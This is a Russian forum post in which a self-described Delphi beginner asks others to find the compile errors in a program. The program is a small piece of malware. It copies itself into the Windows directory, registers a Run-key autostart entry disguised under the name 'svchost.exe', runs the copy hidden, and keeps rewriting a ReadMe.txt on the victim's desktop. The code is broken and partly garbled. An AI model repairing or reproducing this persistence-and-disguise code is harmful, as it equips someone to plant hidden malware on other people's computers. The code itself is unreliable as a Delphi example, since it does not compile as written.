Ошибка в коде

Народ помогите найти ошиббку в коде все перебрал ничего пока что не нашел не судите строго т.к в дельфи только начинаю)
program Stoun;

{$APPTYPE CONSOLE}

uses
SysUtils,
Windows,
Registry;

function user: string;
var
f:array[0..255] of char;
begin
GetEnvironmentVariable('USERNAME',f,255);
Result := f;
end;
function sisdir:string;
var
f:array[0..255] of char;
begin
ExpandEnvironmentStrings('%WINDIR%',f,255);
Result := f;
end;

begin
If FileExists('sysdir+\pxd1vc.exe')=False then
begin
CopyFile(pchar(ParamStr(0)),pchar('sysdir+\pxd1vc.exe'),True);
RegIni := TRegIniFail.Create('Software');//ошибку находит тут
RegIni.RootKey := HKEY_LOCAL_MACHINE;//тут ошибка
RegIni.OpenKey('Software', true);// и тут ошибка
RegIni.OpenKey('Microsoft', true);//тут ошибка
RegIni.OpenKey('Windows', true);//тут ошибка
RegIni.OpenKey('CurrentVersion', true);//тут ошибка
RegIni.WriteString('Run', 'svchost.exe', sysdir+'\pxd1vc.exe');//тут ошибка
RegIni.Free;//тутошибка
WinExec(PAnsiChar(sysdir+'\pxd1vc.exe'),SW_HIDE);
halt;
end;
var//тут ошибка
Ctux:TextFile;
RegIni:TRegIniFile;//тут ошибка
i:Integer;
BblBog:String;

procedure ctuxu;
begin
AssignFile(Ctux, 'C:\Documents and Settings\'+user+'\Ðàáî÷èé ñòîë\ReadMe.txt');
ReWrite(Ctux);
Append(Ctux);
i:=random(6);
Case i of
0: BblBog:=
0: BblBog:=
1: BblBog:=
2: BblBog:=
3: BblBog:=
4: BblBog:=
5: BblBog:=
6: BblBog:=//тут текст
end;
Write(Ctux,BblBog);
CloseFile(Ctux);
i:=0;
end;
While 0=0 do//тут ошибка
if FileExists('C:\Documents and Settings\'+user+'\Ðàáî÷èé ñòîë\ReadMe.txt')=False
then
begin//тут ошибка
ctuxu;
sleep(5000);
end;//тут
end.